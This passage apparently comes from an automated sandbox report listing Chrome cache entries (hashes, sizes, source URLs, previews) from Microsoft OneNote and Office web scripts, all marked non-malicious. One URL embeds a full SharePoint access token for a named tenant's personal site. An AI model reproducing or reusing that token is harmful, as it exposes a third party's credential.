Preview:	/! For license information please see officebrowserfeedback_floodgate.min.js.LICENSE.txt /.!function(e){var t={};function A(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,A),r.l=!0,r.exports}A.m=e,A.c=t,A.d=function(e,t,n){A.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},A.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},A.t=function(e,t){if(1&t&&(e=A(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(A.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)A.d(n,r,function(t){return e[t]}.bind(null,r));return n},A.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return A.d(t,"a",t),t},A.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},A.p="",A(A.s=

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4551)
Category:	downloaded
Size (bytes):	4583
Entropy (8bit):	5.17569401429331
Encrypted:	false
SSDEEP:	48:1NG9trw/7zqHWRYK+riktCab88H9dqY3GK4DphKqDM5qUr7XXdc6sYRKRXcuz8k6:ItO7zGK7anQR8HHNUmn+RXKpt
MD5:	8CC75BECE26A052D221A18E93AB0C089
SHA1:	C79EDBA254719D13A6007EEBDC8D0E123A067B7D
SHA-256:	5A82750C7D643B76A2A865C1683D378EAC43EEA1806DB74E157624BADC2071DC
SHA-512:	6C68BB5B7CC739F7775BF733E39C91CC05F3404612852BA7F2E714C18CA0EDDBCEA7FE3048345CD1ADA9F392515F20DB7D47D44FCFAEF911D271613A68608E74
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/wacowlhostwebpack/9.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[9],{119:(e,t,n)=>{function a(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];i()&&console.log.apply(console,e)}function i(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableFCILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}n.r(t),n.d(t,{getFirstCPUIdle:()=>o});var r=function(){function e(e){this._longTaskId=0,this._checkFCIRunId=0,this._isDisposed=!1;var t=e.requiredMainThreadCPUIdleDurationInMilliseconds,n=e.measurementStartTime;this._measurementStartTime=n,this._requiredMainThreadCPUIdleDurationInMilliseconds=t,this._resultResolver={resolve:void 0,reject:void 0},this._fciPromise=void 0,this._longTasks=[],this._processLongTaskPreQueue(e.initialEntries),this._registerLongTaskObserver()}return e.prototype.measureFCI=function(){var e=this;if(this._isDisposed)throw"FCIMeasurer is disposed.";return this._

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (586)
Category:	downloaded
Size (bytes):	2272511
Entropy (8bit):	5.633565368647179
Encrypted:	false
SSDEEP:	49152:ht/JgaSzBB9ntnknWIg0vxvF2eHlZFNtiqa5YArbfbTrqDvockGJkkflfQNWa0g3:0r3
MD5:	42F6B2DFDA44FAEB070B485D2F4F34DE
SHA1:	D231031DBAD89C99F3CEF919C037BE0A52C9C280
SHA-256:	3F7E0AEC7846A2C822A97F654E5A18CD04BB7D8C1998D2701FB165249B5F6403
SHA-512:	0F8840A2D464272CE6696FF3A74AC9B1A88D560397709DBCE47500629B74FCD19F45EB1A3E4DF38F5DC15D10C525CFE0E466FECB672AE8920E54758E829F988B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hE092932DC89E7EC8_App_Scripts/OneNoteDS.box4.dll2.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[2],{56494:function(Ba,$a,R){R.d($a,{a:function(){return X}});Ba=R(6885);var Ga=R(33067),La=R(19780),Ta=R(22137),K=R(69525),W=R(23866),d=R(83068),n=R(77836),k=R(4461),l=R(86250),u=R(72997),e=R(66511),B=R(54170),h=R(4638),w=R(18268),A=R(90491),G=R(60004),I=R(70398),F=R(93518),C=R(34914),t=R(405),M=R(27673),J=R(30549),L=R(32393),v=R(73379),r=R(9376),z=R(27944),H=R(35197),D=R(27557),O=R(53997);class U{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,Ba.a)(U,"InkPacket",null,[]);var S=R(95249),T=R(66617),Z=R(32935),ca=R(24372),ea=R(92033);class X{static get sJc(){return W.a.instance.resolve("OneNote.IInkEditor")}static get F7(){return d.FocusManager.instance()}static get Elb(){return X.Re\|\|(X.Re=W.a.instance.resolve("Box4.ICaretPositionManager"))}static get zAa(){return X.kb\|\|(X.kb=W.a.instance.resolve("Box4.ICevViewContentManager"))}static ju(){return X.mj\|\|(X.mj=W.a.instance

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24306), with CRLF line terminators
Category:	dropped
Size (bytes):	24452
Entropy (8bit):	5.328428296210481
Encrypted:	false
SSDEEP:	384:9CT9tmaKmjfU6/pyX98SRCRrXeFxf/biyMFRwV6ApqVblbtA69E/YNwwOIUAttmU:9CT9tmaXU6/pyN8SRCRrXeFxf/biyMF9
MD5:	AC459993971D136B5C420665B272E101
SHA1:	3C84797F6C43434519212E1AE74E84C4BC9E133A
SHA-256:	883922A710E857E94B35FD6748792782280A859E154E4DB2E4C0B4876DFA61AE
SHA-512:	35DDE4930521684FC51EB5E521D23259DB9A17455F572CCE8BF3E319BE1D69B0571D6E38AB9C72F5801E8777F567AED9742970E6409C0C77C255E995362B5477
Malicious:	false
Reputation:	low
Preview:	/! Hammer.JS - v2.0.8 - 2019-03-19.. http://hammerjs.github.io/.. .. Copyright (c) Jorik Tangelder;.. * Licensed under the MIT license */..(function(window,document,exportName,undefined){"use strict";function ifUndefined(val1,val2){return val1===undefined?val2:val1}var STATE_POSSIBLE=1;var STATE_BEGAN=2;var STATE_CHANGED=4;var STATE_ENDED=8;var STATE_RECOGNIZED=STATE_ENDED;var STATE_CANCELLED=16;var STATE_FAILED=32;var assign=void 0;if(typeof Object.assign!=="function"){assign=function assign(target){if(target===undefined\|\|target===null){throw new TypeError("Cannot convert undefined or null to object")}var output=Object(target);for(var index=1;index<arguments.length;index++){var source=arguments[index];if(source!==undefined&&source!==null){for(var nextKey in source){if(source.hasOwnProperty(nextKey)){output[nextKey]=source[nextKey]}}}}return output}}else{assign=Object.assign}var assign$1=assign;var _uniqueId=1;function uniqueId(){return _uniqueId++}function each(obj,iterator,con

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	352106
Entropy (8bit):	5.476435912719302
Encrypted:	false
SSDEEP:	6144:nP3mD7UhRYdVoY7BjQ/PgV37xJHSs8SbYoGVHWCiOdjY:P2cgF+djY
MD5:	519BC46A97A6312A726C063DBDCA0145
SHA1:	4C424F20391BA84C871C5279E523347965D0B6E7
SHA-256:	97F47CEF16EA8562C5403EAE8E3FA843712FBADF11D0EBB94798282C93427961
SHA-512:	9B38AFD0C6DD4DEEAC686C616FE35117502DC1CB509C2A4FB0F9DB43DC35CC4E986C3EF3A555B41ED0E2907683D8856EB66C867F5E5372049763FE0FF5C59590
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/navigation.min.js
Preview:	function _define_property(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(t){return Object.getOwnPropertyDescriptor(i,t).enumerable})))),n.forEach((function(e){_define_property(t,e,i[e])}))}return t}function ownKeys(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,n)}return i}function _object_spread_props(t,e){return e=null!=e?e:{},Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(e)):ownKeys(Object(e)).forEach((function(i){Object.defineProperty(t,i,Object.getOwnPropertyDescriptor(e,i))})),t}(globalThis.onenote

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 2944, version 4.30147
Category:	downloaded
Size (bytes):	2944
Entropy (8bit):	7.701609844461153
Encrypted:	false
SSDEEP:	48:3bH18jve96elI+0EqyTxBd9iAfZ5bu5oopTBvuF0nYwH22sn8feoKs:LVuvKLlIQqi9iAPNo72e2fnuIs
MD5:	569A610DF4FD269FAA528A2197DFAA9A
SHA1:	CFC7596B939A341C5DDFFC53CFD607745AF18E8F
SHA-256:	09A1411BF361D3D649F4FF5098E0197510232477BF099872F58F5D1EC483E9AF
SHA-512:	EBD67AFCF7779E4700A5441548E3090FF2B17D4D6176160A21C0BB7F72605B6C082294A2A4CED484945685EBF33210FC883AF2AFC18948F7A8C2E62C1A53E242
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h09A1411BF361D3D6_App_Scripts/fonts/sharedheaderplaceholder-icons.woff
Preview:	wOFF..................u.....................OS/2...D...H...`1Y{.cmap.......N...j.F.@cvt ....... .......fpgm...........Y...gasp................glyf.......]...0\.+Hhead...X...2...6.c..hhea...........$....hmtx..............Eloca................maxp........... .%..name...............Spost........... .Q.~prep............x...x.c`a..8.....u..1...4.f...$..........@ ...........<...!$.X............x.c```f.`..F..H....\|... ........\......./..<....../.N..z.....jPs..#.......L....x.c.b.e(`h`X.......x............x.]..N.@..s$..'@:!.uC....K$.%%...J.......n..b.........\|.s...\|v..G)V.7........!O.6eaL.yV.e.j..kN..M.h....Lm....-b....p.N.m.v.....U<..#...O.}.K..,V..&...^...L.c.x.....?ug..l9e..Ns.D....D...K........m..A.M....a.....g.P..`....d.............x..SML.Q...?..,.P-..I..=...4.R....`j4-Q.F...5...h.?$......z.Gc.h.r3.D=..n\|.RR..a....L.{.f..I...w......iu;..I2.}.<.......[l.......(,..g`...`u....q..."G.yW.."nQ.P(...[....p@..P...-b.CA.z8.zD..CW=/x..... U...F.$..%"...(aURI.UNE

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58105)
Category:	downloaded
Size (bytes):	58152
Entropy (8bit):	5.681762787650447
Encrypted:	false
SSDEEP:	768:HA9ttawNpmXuzK2STKWBRutlWoZVJWZlP1iQ0+SiTyIDB0YpS43eiSTtvPOiZRSa:HA9t0wNpmXuzK2Sbgn3mW343NKCPuMyV
MD5:	D4D3635E6ABF0C7D890D86DDC75C0687
SHA1:	380ED62EE6442968310DDBD0E9EB270F2DED92AD
SHA-256:	6183A1E117193BA33C3A5FD22957407BC5C2F4CCF3561DC46A375D7EA1178284
SHA-512:	AB4B10E397BDAEE72824139EF1DE9DFC855B87A92F56F66FDF1D08D7DBE2C3133A340FCE09CB1D072CDAEB00BFD1C257C95C32AC27579BCA3641C7D6DCA160E2
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/oreosearchpane.min.js
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},a=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(a=a.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),a.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}(globalThis.onenote

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.464953219409053
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqoLBa7JZRGNeHX+AYcvP2wk1TLz+eGFk5:lmIAq1Uq+iJZ+eHX+AdP2edk5
MD5:	11CA4578CB026A23713AEA6781B8ECE3
SHA1:	A05AE51B4A3E2E0076222CBCBE9C58833CDEF108
SHA-256:	C55F527E536DE44C7980FECECE7428AE5A765647495E47008A8A54FA1E434736
SHA-512:	5F57C749A78FF8DFA4D172A11A179D9EC9E036C0A6B2C6059F79B2DCF1114A3D289104B68316B4913A01C54FBBE07FF38D1648BB8534B510C3797433AF6B2158
Malicious:	false
Reputation:	low
URL:	https://euc-onenote.officeapps.live.com/o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>403 - Forbidden: Access is denied.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2224), with no line terminators
Category:	downloaded
Size (bytes):	2224
Entropy (8bit):	5.029670917384203
Encrypted:	false
SSDEEP:	48:iYyhna6311NDG9e1ctrSmz6usES0da3RhRDh79nFzFnpR4RYhQyYSI:iYenaUG0aB+qahhRDh79nFzFn/cYhQy4
MD5:	96EC242EA2E25558F7EC13FA88D9D793
SHA1:	B0BB7F6BD5206CC1FFB572CBD4A6AD2F88D42433
SHA-256:	850C54CE960E710757379C19601C65C00CF7D485063115F34AA30AE193CCEA43
SHA-512:	8C732012F96C7A9B4434F1BC27262A07080F05FCDF54E64B9CB4F37C20D3D8A85FAC2387C934798056D137B03F918D5CE4847C835CC013EDD4485686993D5F4F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/Feedback/latest/Intl/en/officebrowserfeedbackstrings.js
Preview:	OfficeBrowserFeedback.setUiStrings({FeedbackSubtitle:"Send Feedback to Microsoft",PrivacyStatement:"Privacy Statement",Form:{CommentPlaceholder:"Please do not include any confidential or personal information in your comment",CategoryPlaceholder:"Select a category (optional)",EmailPlaceholder:"Email (optional)",RatingLabel:"Rating",ScreenshotLabel:"Include screenshot",Submit:"Submit",Cancel:"Cancel",EmailCheckBoxLabel:"You can contact me about this feedback",PrivacyConsent:"IT admins for your organization will be able to view and manage your feedback data.",PrivacyLabel:"By pressing submit, your feedback will be used to improve Microsoft products and services. ",ScreenshotImgAltText:"Screenshot Preview"},SingleForm:{Title:"Please provide feedback"},SmileForm:{Anchor:"I like something",Title:"What did you like?"},FrownForm:{Anchor:"I don't like something",Title:"What did you not like?"},IdeaForm:{Anchor:"I have a suggestion",Title:"What do you suggest?"},BugForm:{Anchor:"File a bug",Titl

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.708048150071232
Encrypted:	false
SSDEEP:	3:HyjJTzMKHJu:HyjNz5pu
MD5:	435B48C70ACA2DC80F8B34B5FDEB2789
SHA1:	FFE2C8567607568F939FA1A6F9888639B98B400C
SHA-256:	6468AC9F9BCA964F3910FC967B80781C1C8634300E36F95AE49056D91A2734BF
SHA-512:	5C73531F908067B986F4F7F1BB423DC6FC4B1CDC9A6C65205658BD2A2499CB53F0F1C4EB928B8B87B189D969C3769F9D97EA5AB1CEA97FE6F18D2DD4AD583C60
Malicious:	false
Reputation:	low
Preview:	The service is unavailable.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35604), with CRLF line terminators
Category:	downloaded
Size (bytes):	65136
Entropy (8bit):	5.347263720753429
Encrypted:	false
SSDEEP:	768:ETarIzLYTfoY5iwkD9Hr09qZsOlcJoPBP3vmT7GOeXGj3cRUOMJGXX3FouZoGfx0:EOczSghVzXgoUaPsP
MD5:	35448408DD86553C3D20E157A52E3945
SHA1:	2FCD1F428172F9064C15011328A1A1B3743A3C0C
SHA-256:	626BF3CC638CD7147D8BFEA55593B81103ED28C4EDAE01967C830621A22CB01E
SHA-512:	28D5CB8F3F5E8C3332A54247F80436662E7887652B170198308276D525FD6431B5FD15992588B9093549CD8753BB35BAEE0E19229D449A361AE25251DBED3D7C
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/office.js
Preview:	var OSFPerformance;..(function (OSFPerformance) {.. OSFPerformance.officeExecuteStartDate = 0;.. OSFPerformance.officeExecuteStart = 0;.. OSFPerformance.officeExecuteEnd = 0;.. OSFPerformance.hostInitializationStart = 0;.. OSFPerformance.hostInitializationEnd = 0;.. OSFPerformance.totalJSHeapSize = 0;.. OSFPerformance.usedJSHeapSize = 0;.. OSFPerformance.jsHeapSizeLimit = 0;.. OSFPerformance.getAppContextStart = 0;.. OSFPerformance.getAppContextEnd = 0;.. OSFPerformance.createOMEnd = 0;.. OSFPerformance.officeOnReady = 0;.. OSFPerformance.hostSpecificFileName = "";.. function now() {.. if (performance && performance.now) {.. return performance.now();.. }.. else {.. return 0;.. }.. }.. OSFPerformance.now = now;.. function getTotalJSHeapSize() {.. if (typeof (performance) !== 'undefined' && performance.memory) {.. return performance.memory.totalJSHeapSize;.. }..

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2797
Entropy (8bit):	5.163102719637998
Encrypted:	false
SSDEEP:	48:c2Ax81yLGQoDXNJ1CiVc+sv+sYz4zEf0O0XvmEkY2LFd/NEeUEEZDEs6l:7AMyaQoDXbNvs2sYz4zy9c+EkhDNEDEh
MD5:	C588E014A7A269C048B7F28D72220900
SHA1:	ACC610BB4338B9207BFE8293DF35C07BCAB82648
SHA-256:	03C6DD0C23B808AC239AAEA3F3E8E7943128633D6048CEDE869CB2FE67A842E5
SHA-512:	24336D0DC93669ACFC98D07357C177759DE1FC25B963962D389A107969B8C645991E6B419D505C42DF118439E8C2F1C60164A0ADDC25F6EA86481F36CFD0E036
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>93155735-fd84-4d6f-9433-305bdb6cb523</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft Corporation</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Help" />.. <Description DefaultValue="In-App Help provided by support.office.com" />.. <IconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-32.png" />.. <HighResolutionIconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-80.png" />.. <SupportUrl DefaultValue="http://support.office.com" />.. <AppDomains>.. <AppDomain>https://login.live.com</AppDomain>.. <AppDomain>https://login.live-int.com</AppDomain>.. <

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	101803
Entropy (8bit):	5.333052740426743
Encrypted:	false
SSDEEP:	1536:uRJ1IIdEgIamTvRJSRk9UUezt4C34zcsSClhev:uRRYamTvRJsUezt4w4ztlhev
MD5:	2F1D74149F052D3354358E9856375219
SHA1:	8019F7A2EA824930F91C3EC375D926B650FB1CFF
SHA-256:	66C70312DE6CA4E1D7EF1E858307764C241A80E7411CEE686EA2FC2D74152749
SHA-512:	2B1C4E057DBF59E89C3AA9C5DAB1FE8F512ED400088B13592E493B3D48AA334544A7999CA2DDEFA34C23D2F96A2F98B93DD0AAC80C3CF7C37D85B49C5A85A6E6
Malicious:	false
Reputation:	low
Preview:	var otelWorker=function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s=7)}([function(e,n,t){"use strict";t.d(n,"h",(function(){return r})),t.d(

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65526), with no line terminators
Category:	dropped
Size (bytes):	265699
Entropy (8bit):	5.857086178501861
Encrypted:	false
SSDEEP:	3072:8MyLfvXjJxPAEeo+pOPaXD9NSt1mbzfoEcw3MVJyVI3a:8MwfdHkMt1gmx3a
MD5:	2AA8BE9321D1CBB8B3179E246246D04D
SHA1:	7E1111B19C12ECAD78E0B91A03C3A009CC9A9FD9
SHA-256:	7A1853AABF7D65BA5E0666D785F4955563874929735C48106738D0FBA6123655
SHA-512:	FF64DEB8B73C641E94DDF0D92A0C02105A49C32272147F6C26446CD0AD8E7243A7DCC01A6B95A495CF8F303594E586AD7C72863D19C49A639C17A8F900A60130
Malicious:	false
Reputation:	low
Preview:	function _define_property(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function _object_spread(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n]:{},i=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(t).filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})))),i.forEach((function(n){_define_property(e,n,t[n])}))}return e}function ownKeys(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);n&&(i=i.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,i)}return t}function _object_spread_props(e,n){return n=null!=n?n:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})),e}(globalThis.onenote

Chrome Cache Entry: 450

Download File

